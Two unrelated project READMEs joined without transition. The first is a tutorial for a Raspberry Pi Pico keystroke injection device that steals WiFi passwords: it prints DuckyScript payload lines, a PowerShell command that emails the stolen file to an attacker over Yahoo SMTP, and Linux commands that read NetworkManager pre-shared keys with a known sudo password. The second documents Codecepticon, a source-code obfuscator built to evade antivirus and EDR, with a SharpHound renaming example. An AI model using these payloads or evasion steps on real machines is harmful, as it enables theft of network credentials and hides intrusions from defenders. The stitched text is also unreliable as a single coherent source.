Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.
Disclaimer: All content in this project is intended for security research purpose only.
ย
During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).
After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.
Physical access to victim's computer.
Unlocked victim's computer.
Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.
Knowledge of victim's computer password for the Linux exploit.
Note:
It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.
However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.
Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.
The payload uses STRING
command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER
/SPACE
will simulate a press of keyboard keys.
We use DELAY
command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.
Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:
This approach was used for the Windows exploit. The whole payload can be seen here.
This approach was used for the Linux exploit. The whole payload can be seen here.
In order to use the Windows payload (payload1.dd
), you don't need to connect any jumper wire between pins.
Once passwords have been exported to the .txt
file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL
, SENDER_EMAIL
and yours email PASSWORD
. In addition, you could also update the body and the subject of the email.
STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 |
๏ Note:
After sending data over the email, the
.txt
file is deleted.You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.
In order to use the Linux payload (payload2.dd
) you need to connect a jumper wire between GND
and GPIO5
in order to comply with the code in code.py
on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.
Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK
with the name of your USB drive in two places.
STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt |
STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt |
In addition, you will also need to update the Linux PASSWORD
in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.
STRING echo PASSWORD | sudo -S echo |
STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')" |
In order to run the wifi_passwords_print.sh
script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK
where PASSWORD
is your account's password and USBSTICK
is the name for your USB device.
NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style
keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep
command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)
). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).*
will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.
For more information about NetworkManager here is some useful links:
Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt
file.
WiFi-password-stealer/resources/wifi_pass.txt
Lines 1 to 5 in f5b3b11
Wireless_Network_Name Password | |
--------------------- -------- | |
WLAN1 pass1 | |
WLAN2 pass2 | |
WLAN3 pass3 |
One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND
) and pin 20 (GPIO15
). For more details visit this link.
๏ก Tip:
- Upload your payload to RPi Pico before you connect the pins.
- Don't solder the pins because you will probably want to change/update the payload at some point.
When creating a functioning payload file, you can use the writer.py
script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.
python3 writer.py windows payload1.dd
This pico-ducky currently works only on Windows OS.
This attack requires physical access to an unlocked device in order to be successfully deployed.
The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.
Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.
Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
If the Caps Lock
is ON, some of the payload code will not be executed and the exploit will fail.
If the computer has a non-English Environment set, this exploit won't be successful.
Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.
Caps Lock
bug.sudo
.Codecepticon is a .NET application that allows you to obfuscate C#, VBA/VB6 (macros), and PowerShell source code, and is developed for offensive security engagements such as Red/Purple Teams. What separates Codecepticon from other obfuscators is that it targets the source code rather than the compiled executables, and was developed specifically for AV/EDR evasion.
Codecepticon allows you to obfuscate and rewrite code, but also provides features such as rewriting the command line as well.
! Before we begin !
This documentation is on how to install and use Codecepticon only. Compilation, usage, and support for tools like Rubeus and SharpHound will not be provided. Refer to each project's repo separately for more information.
Codecepticon is actively developed/tested in VS2022, but it should work in VS2019 as well. Any tickets/issues created for VS2019 and below, will not be investigated unless the issue is reproducible in VS2022. So please use the latest and greatest VS2022.
The following packages MUST be v3.9.0, as newer versions have the following issue which is still open: dotnet/roslyn#58463
Codecepticon checks the version of these packages on runtime and will inform you if the version is different to v3.9.0.
It cannot be stressed this enough: always test your obfuscated code locally first.
Open Codecepticon, wait until all NuGet packages are downloaded and then build the solution.
There are two ways to use Codecepticon, either by putting all arguments in the command line or by passing a single XML configuration file. Due to the high level of supported customisations, It's not recommended manually going through --help
output to try and figure out which parameters to use and how. Use CommandLineGenerator.html and generate your command quickly:
The command generator's output format can be either Console
or XML
, depending what you prefer. Console commands can be executed as:
Codecepticon.exe --action obfuscate --module csharp --verbose ...etc
While when using an XML config file, as:
Codecepticon.exe --config C:\Your\Path\To\The\File.xml
If you want to deep dive into Codecepticon's functionality, check out this document.
For tips you can use, check out this document.
Obfuscating a C# project is simple, simply select the solution you wish to target. Note that a backup of the solution itself will not be taken, and the current one will be the one that will be obfuscated. Make sure that you can independently compile the target project before trying to run Codecepticon against it.
The VBA obfuscation works against source code itself rather than a Microsoft Office document. This means that you cannot pass a doc(x)
or xls(x)
file to Codecepticon. It will have to be the source code of the module itself (press Alt-F11 and copy the code from there).
Due to the complexity of PowerShell scripts, along with the freedom it provides in how to write scripts it is challenging to cover all edge cases and ensure that the obfuscated result will be fully functional. Although it's expected for Codecepticon to work fine against simple scripts/functionality, running it against complex ones such as PowerView will not work - this is a work in progress.
After obfuscating an application or a script, it is very likely that the command line arguments have also been renamed. The solution to this is to use the HTML mapping file to find what the new names are. For example, let's convert the following command line:
SharpHound.exe --CollectionMethods DCOnly --OutputDirectory C:\temp\
By searching through the HTML mapping file for each argument, we get:
And by replacing all strings the result is:
ObfuscatedSharpHound.exe --AphylesPiansAsp TurthsTance --AnineWondon C:\temp\
However, some values may exist in more than one category:
Therefore it is critical to always test your result in a local environment first.
The compiled output includes a lot of dependency DLLs, which due to licensing requirements we can't re-distribute without written consent.
No, Codecepticon should work with everything. The profiles are just a bit of extra tweaks that are done to the target project in order to make it more reliable and easier to work with.
But as all code is unique, there will be instances where obfuscating a project will end up with an error or two that won't allow it to be compiled or executed. In this case a new profile may be in order - please raise a new issue if this is the case.
Same principle applies to PowerShell/VBA code - although those currently have no profiles that come with Codecepticon, it's an easy task to add if some are needed.
For reporting bugs and suggesting new features, please create an issue.
For submitting pull requests, please see the Contributions section.
Before running Codecepticon make sure you can compile a clean version of the target project. Very often when this issue appears, it's due to missing dependencies for the target solution rather than Codecepticon. But if it still doesn't compile:
I will do my best, but as PowerShell scripts can be VERY complex and the PSParser isn't as advanced as Roslyn for C#, no promises can be made. Same applies for VBA/VB6.
You may at some point encounter the following error:
Still trying to get to the bottom of this one, a quick fix is to uninstall and reinstall the System.Collections.Immutable
package, from the NuGet Package Manager.
Whether it's a typo, a bug, or a new feature, Codecepticon is very open to contributions as long as we agree on the following: